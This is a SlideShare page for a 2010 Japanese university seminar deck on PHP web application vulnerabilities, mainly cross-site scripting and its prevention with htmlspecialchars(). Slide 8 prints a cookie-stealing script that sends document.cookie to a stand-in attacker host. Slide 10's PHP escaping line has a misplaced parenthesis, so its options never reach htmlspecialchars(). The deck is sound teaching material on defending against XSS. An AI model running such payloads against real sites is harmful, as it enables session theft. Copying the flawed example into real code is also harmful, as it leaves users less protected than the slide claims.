Your SlideShare is downloading. ×
0
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
情報学ゼミ第3回発表資料
Upcoming SlideShare
Loading in...5
×

Thanks for flagging this SlideShare!

Oops! An error has occurred.

×
Saving this for later? Get the SlideShare app to save on your phone or tablet. Read anywhere, anytime – even offline.
Text the download link to your phone
Standard text messaging rates apply

情報学ゼミ第3回発表資料

891

Published on

Published in: Economy & Finance
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total Views
891
On Slideshare
0
From Embeds
0
Number of Embeds
1
Actions
Shares
0
Downloads
2
Comments
0
Likes
0
Embeds 0
No embeds

Report content
Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
No notes for slide

Transcript

  1. 1<br />情報学ゼミ第三回発表<br />2010/05/10<br />Semifo<br />Semifo Lab: http://semifo.pa.land.to/<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  2. 2<br />GW前時点までの進捗状況1<br />PHPによるWebアプリケーション脆弱性に対する対策技術の確認<br />XSS<br />CSRF<br />SQLインジェクション<br />ディレクトリトラバーサル<br />OSコマンドインジェクション<br />セッションハイジャック等<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  3. XSS とは?<br />サイトをまたがって(クロスサイト)、攻撃用のスクリプトを送る手法からクロスサイトスクリプティングと命名されているが、基本的には攻撃対象のWebサイトに攻撃用のスクリプトを埋め込む攻撃全般の事を言う。<br />3<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  4. XSS脆弱性があると、どのような被害が起き得るのか<br />ここからは、理解を容易にするために、実際にPHPによって書かれたWebアプリケーションを用いて解説していく。<br />4<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  5. 今回、用いるサンプルWebアプリケーション<br />5<br />基本的な仕様<br />入力ページから入力されたToDo(タスク)が、左のメインページに出力される<br />
  6. 攻撃用のスクリプトを入力してみる<br /><script>for(i=0;i<10;i++)alert(i);</script><br />//スクリプトが実行されるとアラートウィンドウが10回出力される<br />6<br />スクリプトを入力する<br />
  7. 7<br />スクリプトが実行されて、アラートウィンドウが表示された<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  8. Cookieを盗むスクリプト<br /><script>location.replace("http://www.malicious-site.com/index.php?cookie="+document.cookie);</script><br />//スクリプトが埋め込まれたサイトでの、ユーザーのCookieをURLパラメタとして、攻撃者のサイトにアクセスさせる(クロスサイト)<br />8<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  9. XSS対策<br />基本的には、ユーザからの入力をサイトに出力する場合に、HTMLで特別な意味を持つメタキャラクタ(<,>,&,”等)を、エスケープ処理(文字列参照に変換)してやればよい。<br />9<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  10. PHPにおけるXSS対策<br />ユーザーからの入力をサイトに出力する場合は必ずhtmlspecialchars()を通す。<br /> <?php echo(htmlspecialchars($_POST[‘data’]), ENT_QUOTES,'UTF-8') ?><br />10<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  11. XSS対策実装後<br />11<br />スクリプトが実行されずに、<br />ただの文字列として出力された<br />XSS対策は、Webアプリケーションにおけるセキュリティ対策の中でも,SQLインジェクションと並んで、最も基礎的な項目であり、<br />成果物を外部に公開する上での最低限のマナーでもあるので、<br />アクセスしてきたユーザーに迷惑をかけないためにも、<br />確実に実装しておく必要がある。<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />
  12. 追記<br />本当はXSS対策は、htmlspecialchars()を通すだけでは十分ではなくて、不完全なマルチバイト文字列による攻撃や、想定していない文字コードによる攻撃、NULLバイト文字等も加味して考慮する必要があるが、これ以上長くなってもアレなので、興味がある人は調べてみて下さい。<br />12<br />All contents copyright and copy Semifo. All rights reserved. Revised:, (C)2010 <br />

×